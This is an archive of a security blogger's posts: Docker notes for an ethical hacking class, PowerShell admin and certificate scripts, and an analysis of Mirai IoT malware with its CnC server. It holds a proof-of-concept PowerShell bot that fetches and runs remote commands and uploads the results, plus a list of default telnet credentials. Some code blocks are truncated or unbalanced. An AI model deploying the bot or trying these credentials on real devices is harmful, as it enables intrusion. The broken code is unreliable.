Sunday, October 15, 2017

Docker - Quick Notes and How To

For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students with a Kali Linux VM with docker images that they could use to learn from.  In the past, I would require the students to run at least 2 virtual machines to accomplish the tasks.  Resource constraints were sometimes an issue.

I believe with Docker running on a Kali Linux VM will work for what I need.  Here is a link to a site that you could use to walk through setting up Docker on Kali 2.x.

Link to site.

Here are some commands to get docker up and running:

#> service docker start
This will start the docker daemon that is running in the background of the Kali VM

#> docker search ubuntu
This command will search Docker Hub, internet access from the Kali VM is required, for any containers for the word ubuntu.  As you can see in the screenshot below, the name of the container, a brief description, the public rating of the container based on the number of starts, and if it is an official release from a trusted vendor.

#> docker pull <name of the container>
In the below screenshot, I am pulling down a container called raesene/bwapp.  This was after I searched for bwa or "Broken Web Apps" a project created by OWASP.  Notice that this package is not an official release and is contributed by a member of the community, this could be an unsafe docker container and contain malware.  Below you can see it as docker is pulling, downloading and extracting the container from docker hub.

#> docker images
In the below screenshot, it shows from the command the images that I have currently.  The creation date is when the container was created on Docker Hub or when you created it, for example host1 was created by me 14 hours ago.  Warning: It is very easy to download containers and run out of disk space on the VM that you are using.

#> docker run -it ubuntu bash
In the below screenshot, the command was issued to run the ubuntu container in interactive mode.  The last item in the command is bash, this tells docker to run the command bash in the container.  You are dropped into a bash shell where you can list the files in the container, etc.  Notice that the ifconfig command is not found.  As in a new install of ubuntu you can install net-tools to then be able to run ifconfig to return interface information. 

To install net-tools to the container that is running, first for ubuntu execute apt-get update, to update the repositories.

Then to install net-tools you can run apt-get install net-tools.

As observed above after installing net-tools the ifconfig command will return the interface information of the docker container.  Warning: If you type the command 'exit' you will return back to the state of the container prior to you installing net-tools.  Nothing is saved at this point-in-time.

Container #> Ctrl <p> Ctrl <q>
If you would like to save the state of the container you are working in, run the above command and it will drop you out to the docker host or the Kali VM while leaving the docker container running.

#> docker ps
The below screenshot demonstrates the execution of Ctrl <p> Ctrl <q> to jump out of a docker container, then the execution of 'docker ps' shows the container still running, the image used, the command being executed, when it was created, the uptime or status, if any network ports are mapped, and a nickname of the container assigned by docker.

#> docker attach <container ID>
#> docker attack <Names or Nickname>
You can reattach to the docker container by issuing the container ID as shown in the above screenshot or by the nickname provided by docker.

#> docker commit <container ID> <New Image Name>
After interacting with the ubuntu container, installing net tools, jumping out of the container while it is running, and now wanting to save the state the image is in I can commit the changes to a new image name.  As you can see in the image below I committed the running instance of the ubuntu image by calling it by the nickname, then saving it as ubuntu-w-nettools.  Then when you run docker images, you can see the new image available that can be run as a container.

#> docker network create --driver=bridge network1 --subnet=
By default from what I have read docker creates a default bridged network of  Wow, huge...  You can create additional networks that bridge the host VM's NIC.  The above command creates a network, that is bridged, with a nickname of network1, and assigns it the subnet  Warning: Bridging across the interface may allow the container to access the internet.

#> docker network ls
#> docker network inspect network1

In the below screenshot it shows the network1 that I created above, by running 'docker network ls'.  To inspect or to get additional details about the networks I can inspect them individually.  The example below shows me the details of the network1 that I created, mainly the subnet and the driver used.  My thought here was I can control whether a container is in the DMZ or other subnet for organization.

 #> docker run -tid --network=network1 --ip= ubuntu-w-nettools bash
The above command, creates an interactive container, with the -d it places it in the background, assigns the container to the network1 or the subnet, assigns the container to have the IP Address of, uses the container that we created with net-tools installed and runs the command bash.  As you can see in the below screenshot, the IP Address returned by ifconfig is the one assigned.

#> docker run -d --network=network1 --ip= raesene/bwapp
Notice in the above docker container for OWASP Broken Web Apps you do not need to run the command switches of -it to make it interactive.  As you can see in the below image I have 3 containers running, the raesene/bwapp has 2 ports mapped so I can interact with port 80 and 3306 by the IP Address assigned.

#> docker rmi image
This command allows you to remove an image from the list presented by 'docker images'

#> docker stop <nickname of container>
#> docker stop <container ID>
#> docker kill <nickname of container>
#> docker kill <container ID>

As showing below I am using the above command to stop or kill the container that is running.  Obviously a difference between stopping and killing of the running container.

Hopefully, this has been helpful.  Considering I sat down yesterday with the intention to learn about docker and within 3 hours I had a very basic understanding of how it could benefit the class that I will be teaching and in other ways in my career.  Warning again that the docker service runs as root and you should trust the containers that you download and execute, be careful, you may trust the creator but may not trust who was on the creators computer at the time.


Thursday, October 12, 2017

Powershell - Using Add-Member to Add Scripts to the objects of a File

While at Saintcon 2017, I was in a training called "Attack and Defend with Powershell" taught by Aelon Porat.  During the training he created a file with notepad and then was displaying the attributes, properties, etc. of the file.  Then I thought about a Proof-of-Concept for a bot to utilize scripts that can be added as a Script Method to a file.

The below bot calls out to an IP address to download a command that is inside of a file on a web server, stores the command as a Note Property Value with the file system object, executes the command, stores the results as a Note Property Value, and then uploads the results.  This could have been combined with less scripts, but did this to display the capability.

To run these powershell commands you need a file called note.txt in the directory where you run the powershell script below.


# Create a file called note.txt
$file = Get-ChildItem note.txt

# Place a string value in a note property 
$file | Add-Member -NotePropertyName Status -NotePropertyValue "123456abcABC+==" -Force # Use force to overwrite the note property
$file | Add-Member -NotePropertyName Collected -NotePropertyValue "123456abcABC+==" -Force

# Have a script property attached to a file to download the bots commands and save it in status
$file | Add-Member -MemberType ScriptMethod -Name "Download" -Value {
    $webClient = New-Object System.Net.WebClient
    $noteInfo = $webClient.DownloadString("")
    $file | Add-Member -NotePropertyName Status -NotePropertyValue $noteInfo -Force
} -Force

# Then have a script property attached to a file to execute the comand that is placed in Status
$file | Add-Member -MemberType ScriptMethod -Name "Execute" -Value {
    $collected = Invoke-Expression -Command $file.Status 2>&1
    $file | Add-Member -NotePropertyName Collected -NotePropertyValue $collected -Force
} -Force

# Then have a script property which will upload the results
$file | Add-Member -MemberType ScriptMethod -Name "Upload" -Value {
    $postParams = @{info=$file.Collected}
    Invoke-WebRequest -Uri -Method POST -Body $postParams
} -Force

while ($True) {
    Sleep -Seconds 5
    sleep -Seconds 5
    sleep -Seconds 5
Another interesting discovery, was the Get-FileHash of the file "note.txt" does not change when a the NotePropertyValue changes, because it is applied to the variable and not the file:

Tuesday, August 15, 2017

Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script to gather the mapped drives from users that were not currently logged in.  The following script is what I came up with.

Sometimes the mappedDrivesInfo.txt file that is created is not copied from the remote device because the drive mapping was unsuccessful.  I separated the file collection portion from the main script and it worked flawlessly.


$myCreds = Get-Credential -Credentail domain\localAdmin
Remove-PSDrive X -Force | Out-Null
Remove-PSDrive Y -Force | Out-Null
New-PSDrive -Name Y -PSProvider FileSystem -Root \\server\info | Out-Null
ForEach ($cName in Get-Content compList.txt) {
    Write-Host "Connecting to: $cName"
    If (Test-Connection -ComputerName $cName -BufferSize 16 -Count 1 -ErrorAction 0 -Quiet) {
        Write-Host "Connection Successful"
        New-PSDrive -Name X -PSProvider FileSystem -Root \\$cName\c$ -Credential $myCreds | Out-Null
        $u = Get-WmiObject -Class Win32_UserProfile -ComputerName $cName -Credential $myCreds -Filter { SID like '%S-1-5-21-1793613773-621299329-1849977318%' }
        $LastUsers = $u | Sort-Object -Property LastUseTime -Descending 
        If ($LastUsers) {
            ForEach ($userAccount in $LastUsers) {
                $Loaded = $userAccount.Loaded
                # Covert the date to readable format
                $Script:Time = ([WMI]'').ConvertToDateTime($userAccount.LastUseTime)
                $Script:UserSID = New-Object System.Security.Principal.SecurityIdentifier($userAccount.SID)
                $User = $Script:UserSID.Translate([System.Security.Principal.NTAccount])
                $uName = $User -replace "DOMAIN\\", ""
                Write "Found user profile for: $User Last Logon: $Script:Time SID: $Script:UserSID ComputerName: $cName"
                Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -WindowStyle Hidden -NonInteractive -c Get-ChildItem -Path Microsoft.Powershell.Core\Registry::HKEY_USERS\$Script:UserSID\Network\ | Get-ItemProperty -Name RemotePath | Format-Table PSChildName, RemotePath -Wrap > c:\users\$cName-$uName-mappedDrivesInfo.txt"  -ComputerName $cName -Credential $myCreds | Out-Null
        Start-Sleep -Seconds 5
        $mappedFiles = Get-ChildItem -Filter *mappedDrivesInfo.txt -File X:\Users
        ForEach ($mFile in $mappedFiles) {
            Write-Host "Found the following mapped drive file: $mFile"
            If ($mFile.Length -gt 0) {
                cp X:\users\$mFile Y:\$mFile
                Write-Host "Copied the above file."
            Else {
                Write-Host "File is empty.  Did not copy it."
        Remove-PSDrive X -Force | Out-Null
    Else {
        Write-Host "Unable to connect to $cName"
Remove-PSDrive Y -Force | Out-Null

Powershell - Create Self-Signed Certificates (Automated Method)

Recently I needed to create a powershell script to generate a Root CA and a series of certificates that tied to the Root CA.  This is a script that I created to help automate  the process. 

# Powershell Script to assist in Creating Self-Signed Certificates 
# Must be executed with Administrative Permissions to Create the Certificates for the Local Machine

function Select-RootCert

    Write-Host "Certificates Installed under the Local Machine on your Personal Store"
    $count = 0
    ForEach ($cert in Get-ChildItem Cert:\LocalMachine\My)
        $count += 1
        Write-Host $count - $cert.Subject
    $selectedRoot = Read-Host "Select"
    if ([int]$selectedRoot -le $count) {
       $count = 0
        ForEach ($cert in Get-ChildItem Cert:\LocalMachine\My)
            $count += 1
            if ($count -eq [int]$selectedRoot) { return $cert.Thumbprint }
    else {
        Write-Host "Invalid Selection for the Root Certificate"

    return "0"

function Generate-RootCert
    # This function generates the root certificate and places it in LocalMachine\Personal Folder
    $subjectCert = Read-Host "What would you like as the Subject of the certificate (Generated Root CA)"
    if ($subjectCert -eq "") { $subjectCert = "Generated Root CA" }
    Write-Host "What is the duration of time to set for the certificate?"
    Write-Host "1. 12 Months"
    Write-Host "2. 24 Months"
    Write-Host "3. 36 Months (Default)"
    $timeInput = Read-Host "Duration (3)"
    if ($timeInput -eq "1") { $timeSelected = 12 }
    elseif ($timeInput -eq "2") { $timeSelected = 24 }
    else { $timeSelected = 36 }
    # Generate a RSA2048 Self-Signed Certificate
    $newRootCA = New-SelfSignedCertificate -Subject $subjectCert -CertStoreLocation Cert:\LocalMachine\My  -NotAfter (Get-Date).AddMonths($timeSelected) 
    # CertStoreLocation - Location is on the Local Machine in the Personal Certificates Folder
    # KeyUsage - Allows the key to be used to sign other keys
    # NotAfter - Sets the Time Duration that the Certificate is Valid for...
    Write-Host "Unless an error is displayed above the certificate was created successfully.  You can view the new Root CA"
    Write-Host "through the MMC snap-in for the Local Computer Certificates under the Personal Certificates."
    Return $newRootCA.Thumbprint

function Create-ServerCert ([String]$Thumbprint)
    $serverName = Read-Host "What is the Server Name of the Server? "
    $domainName = Read-Host "What is the Domain Name of the Server? "
    $serverName = $serverName.ToUpper()
    $serverName = "$serverName.$domainName"
    Write-Host $serverName
    if ($serverName) {
        Write-Host "What is the duration of time to set for the certificate?"
        Write-Host "1. 12 Months"
        Write-Host "2. 24 Months"
        Write-Host "3. 36 Months (Default)"
        $timeInput = Read-Host "Duration (3)"
        if ($timeInput -eq "1") { $timeSelected = 12 }
        elseif ($timeInput -eq "2") { $timeSelected = 24 }
        else { $timeSelected = 36 }
        $addResponse = Read-Host "Specify additional FQDN or DNS entries for certificate (No is default)"
        if (($addResponse -eq "Yes") -or ($addResponse -eq "yes") -or ($addResponse -eq "y")) {
            $addNames = Read-Host "Additional FQDN or DNS entries seperated with a comma"
            $dnsNames = "$serverName, $addNames"
        else {
            $dnsNames = $serverName
        # Get the Generated Root CA's thumbprint that we generated
        $rootCA = (Get-ChildItem -Path Cert:\LocalMachine\My\$Thumbprint)
        New-SelfSignedCertificate -KeyExportPolicy Exportable -Subject "CN=$serverName" -DnsName $dnsNames -CertStoreLocation Cert:\LocalMachine\My -NotAfter (Get-Date).AddMonths($timeSelected) -Signer $rootCA -KeySpec KeyExchange -KeyUsageProperty All
    else {
        Write-Host "The FQDN of the Server needs to be Specified"

function Show-Menu
    $input = "a"
    $rootCAThumbprint = "0"
        Write-Host "===Self-Signed Certificate Management==="
        Write-Host "1. Generate Root Certificate"
        Write-Host "2. Select Root Certificate to Use"
        Write-Host "3. Create Server or Client Certificate(s) with Root Certificate"
        if ($rootCAThumbprint -ne "0") {
            Write-Host "Selected Root Certificate is:"
            $currentCert = Get-ChildItem Cert:\LocalMachine\my | Where-Object {$_.Thumbprint -eq $rootCAThumbprint }
            Write-Host Subject: $currentCert.Subject
            Write-Host Thumbprint: $currentCert.Thumbprint
        Write-Host "Q. Quit"
        $input = Read-Host "Selection: "
        switch ($input)
            '1' {
                    $rootCAThumbprint = Generate-RootCert
            '2' {
                    $rootCAThumbprint = Select-RootCert
            '3' {
                    if ($rootCAThumbprint -ne "0") {
                        Create-ServerCert -Thumbprint $rootCAThumbprint
                    else {
                        Write-Host "No Root CA has been generated or selected." -ForegroundColor Red
    } until (($input -eq 'q') -or ($input -eq 'Q'))


Saturday, February 11, 2017

Powershell - Uninstall Packages Remotely

Recently I have been contemplating how I could more efficiently uninstall or view packages that a user has installed on their computer and then uninstall those packages remotely without having to take the time of the user to do so through a remote interactive session.  

I have written the below Powershell script which will prompt you for the computers name or IP Address that you are working with.  Then it will display the installed programs (Notice in the script you can filter by a package name like Java).  Then you can call the package or packages you would like to uninstall by its name.  If your user account is recognized as a local administrator on the computer you should not have an issue.  It does allow you to use other credentials if necessary.

#Powershell program to remove packages that are specified by the user

function remove-Package($package, $compName, $credName) {
    If ($credName -eq $env:USERNAME) {
        $s = Get-WmiObject -Class Win32_Product -ComputerName $compName | Where-Object { $_.Name -match $package }
    Else {
        $s = Get-WmiObject -Class Win32_Product -ComputerName $compName -Credential $credName | Where-Object { $_.Name -match $package }
    If ($s) {
        Write $s | Format-Table Name, Version, IdentifyingNumber
        $uninstallPrompt = Read-Host -Prompt "Uninstall the above package(s) (y/n)"
        If ($uninstallPrompt -eq "Y" -or $uninstallPrompt -eq "y") {
        Else {
            Write "Aborted uninstall..."
    Else {
        Write "Error uninstalling $package"

# Remote Computer Selection or . for localhost
Write ""
Write "This program is designed to display a list of applications on a computer,"
Write "allow you to choose which one to uninstall, and then uninstall it without"
Write "having to interact with the user."
Write ""
$cName = Read-Host -Prompt "Target Computer Name or IP Address (. for localhost)"
$uPrompt = Read-Host -Prompt "Use your account to connect to remote computer (y/n)"
If ($uPrompt -eq "Y" -or $uName -eq "y") { 
    $uName -eq $env:USERNAME 
Else {
    $uName = Read-Host -Prompt "Enter Username to Use" 

# List all packages on the computer
If ($uName -eq $env:USERNAME) {
    #$all = Get-WmiObject -Class Win32_Product -Filter "Name LIKE '%Java%'"
    $all = Get-WmiObject -Class Win32_Product -ComputerName $cName
Else {
    #$all = Get-WmiObject -Class Win32_Product -Filter "Name LIKE '%Java%'"
    $all = Get-WmiObject -Class Win32_Product -ComputerName $cName -Credential $uName
If ($all) {
    Write $all | Sort Name, Version | Format-Table Name, Version
    Write ""
    $userInput = Read-Host -Prompt "Uninstall a Package Listed Above (y/n)"


        If ($userInput -eq "Y" -or $userInput -eq "y") {
            $packageInput = Read-Host -Prompt "Copy or Type the Name of the Package as shown above to Uninstall"
            remove-Package -package $packageInput -compName $cName -credName $uName

        If ($userInput -eq "Y" -or $userInput -eq "y") {
            $userInput = Read-Host -Prompt "Uninstall another Package (y/n)"

    } While ($userInput -eq "Y" -or $userInput -eq "y")


Thursday, November 24, 2016

IoT Malware Analysis - CnC Server - Part 3

Through the information gathered inside of the binaries I began searching for unique strings on Google.  One of the unique strings that I searched for was "HTTPFLOOD GHP".  This pulled back less than 10 results and the first one was from the site hxxp://  This contained the source code for what they called "Palkia Server.c".

This particular piece of source code was found to have been leaked on 2016-11-12 09:58:05 according to the timestamp on the paste.  I have not validated that the binary in which I found the string matches up with this particular CnC Server source code.

After looking at the source code and understanding the logic, verifying there were no backdoors and other intents to infect my systems I compiled the source code on a temporary server.  Upon execution you need to specify which port it listens on for the bot connections and the number of threads it will utilize.

After you specify the port and the number of threads it begins to listen for clients.  If a client connects the first command that it sends is a command to the client to enable the scanning of other devices through telnet.

Then the server will keep in contact with the bot by sending the string "PING" every 60 seconds.  I have noticed that some bots will receive the communication at an interval as small as 15 seconds.

Through the source code you learn that the bot can send commands back to the server that are interpreted. 

From the source code you can see 3 commands that the bot can send back: PING, REPORT, and PONG.  If the bot sends PING then the CnC server will respond with PONG.  If the bot sends "REPORT " + up to 2048 characters it will store the sent information in a file called telnet.txt.  If PONG is sent it will do nothing but continue in the loop.  Then if anything sent to the CnC does not match these 3 commands it will output it to stdout on the CnC Server with "buf:" appended to the beginning of it.

The other side of this source code is running an administration console so the bots can be controlled.  You can see in the source code that the server by default runs on port 777.

Appears that if you connect to this port you are prompted for a username.  The username and eventually password is parsed out of a file called savage.txt.  They are formatted with username, a space, and then the password.

I created this file with a test user and then a test2 user with a respective password following.  After feeling I understood the logic of the application I compiled it and ran it on a temporary server.  This allowed me to connect with a username and password.  Then from the source code you learn you can send the command "!* HELP" and it will display a quick help screen as shown below.

From the above screenshot you can see that the Attack Commands instruct the bots to conduct UDP, TCP or HTTP floods.  The KILLATTK instructs the bots to stop the attacks that they are instructed to conduct.  As someone is in the CnC Server their commands are broadcast to the bots with exception to a few.

As commands are executed in the administration side of the server they are saved to a file called server.log.  

I have placed the source code for the palkia server on my github page for further research along with the telnet emulator and a botEmulator.

Have a Happy Thanksgiving! Enjoy the Turkey!!

Wednesday, November 16, 2016

IoT Malware Analysis - Observations and Statistics - Part 2

On the previous post that I published I utilized a python program to emulate a telnet server, captured commands that were sent to the telnet server, and then utilized those commands to research the binaries that were collected.

In this post I am going to provide information on what happened when 2 of my servers became infected with the malware, statistics on the username and password combinations used, and statistics of which IP Addresses I observed the most attempting to login to my telnet server.

The Mirai botnet gains its popularity in causing Distributed Denial of Service (DDoS) attacks.  This is exactly what happened to both of my honeypot servers that were infected.

As you can see in the above screenshot upon initial infection of the server you see the command "SCANNER ON".  This command causes the infected device to begin scanning for other IP Addresses at random to see if port 23 is open.  If the device can be reached over port 23 then a basic script of logging in, sending 3-4 commands and then the commands cause the device to become infected as described in the previous post.

After a short period of time the infected server stopped scanning, I observed the following commands come from 2 different honeypots that were infected:

The first instance sent traffic to over UDP to port 80.  The second instance sent traffic to over UDP to port 3074.  In the first command you notice the number 65500.  As you can see in the below image it filled the packets with 65,500 random ASCII characters and sent them to the receiving IP.

The second instance you will notice a 0.  This sent packets that were empty to the IP address.

Both instances where the infected servers were utilized I rebooted them as soon as I observed them being utilized in a denial of service attack, however that still provided me with almost 4 GB of pcap data.  To take a quick tangent, I utilized tshark to carve the pcap files.  Below are a few commands that I used:

1. "tshark -r output.pcap -T fields -e ip.src  -e ip.dst -e tcp.dstport | sort | uniq -c | sort -n > freq_analysis.txt" - This command would read the source IP Address, destination IP Addresses and the destination port then sort it, combine all of the duplicates with a count of the occurrences, and then sort the count of occurrences numerically.

2. "editcap -r read.pcap output.pcap 500-1000" - Due to the mass amounts of traffic generated as the host participated in a denial of service, I utilized editcap to pull out of the pcap packets 500-1000.  This was so I could get a sample of the packets being sent to the target involved in the denial of service.

I do publicly apologize to the 2 IP Addresses that were targeted from my honeypot.  I tried to shutdown the execution of the denial of service attack as soon as I observed it occurring.

Below are the usernames and passwords that I observed logging into my honeypot.  The first number is how many times the combination of the username and password appeared in the logs of my honeypot:

9637 root:xc3511
9567 root:vizxv
8532 root:admin
7897 admin:admin
6856 root:888888
5569 root:xmhdipc
5341 root:juantech
4927 support:support
4598 root:default
4393 root:
4321 root:anko
4268 root:123456
4100 root:54321
3668 root:root
3655 admin:password
3523 root:12345
2835 admin:
2822 admin:smcadmin
2730 admin:admin1234
2680 root:pass
2642 user:user
2476 root:hi3518
2367 root:1111
2208 root:password
2055 admin:1111
2022 root:666666
1742 root:1234
1538 guest:12345
1247 root:hunt5759
1230 root:GM8182
1201 root:dreambox
1201 root:7ujMko0vizxv
1118 admin:pass
1107 root:00000000
1102 root:Zte521
1089 root:klv1234
1088 service:service
1073 administrator:1234
1069 admin:54321
1062 root:jvbzd
1005 root:klv123
1001 admin:meinsm
991 supervisor:supervisor
987 ubnt:ubnt
967 root:7ujMko0admin
939 root:ikwb
916 admin:1111111
897 tech:tech
896 admin:4321
895 root:zlxx.
882 admin1:password
875 888888:888888
866 guest:guest
864 Administrator:meinsm
859 root:realtek
843 root:user
839 admin:1234
834 admin:123456
829 666666:666666
817 root:system
811 admin:12345
783 admin:7ujMko0admin
439 root:1001chin
357 user:qweasdzx
331 netgear:netgear
185 root:zlxx
169 admin:cat1029
168 realtek:realtek
150 telnet:telnet
98 root:5up
95 root:telnet
33 root:tl789
31 Admin:1234
23 cisco:cisco
19 root:admin@mymifi

Here are the most frequent IP Addresses and how many times a particular IP Address appeared in the logs:


I have collected a log entry from 2,654 IP Addresses so far in my research.  Understanding that some of these IP Addresses are dynamic and the party utilizing the IP changes frequently, I found that 758 were listening on port 23.  I found this to be interesting that of the IP Addresses 28.56% were listening on port 23.  I would think that this number would be above 60% of the scanned devices.  Also I found interesting that some of the IP Addresses that most frequently hit my botnet were not listening on port 23.

Also I conducted a host lookup on the 2,654 IP Addresses to see if they resolved to a reverse DNS name.  I utilized the command "host <ip address>":
1578 - Resolved to a reserve DNS name
73 - Directed to localhost (Blackholed)
52 - DNS connection timed out

Docker - Quick Notes and How To

For an ethical hacking class that I will be teaching coming up in the near future I wanted to identify a way where I could provide students ...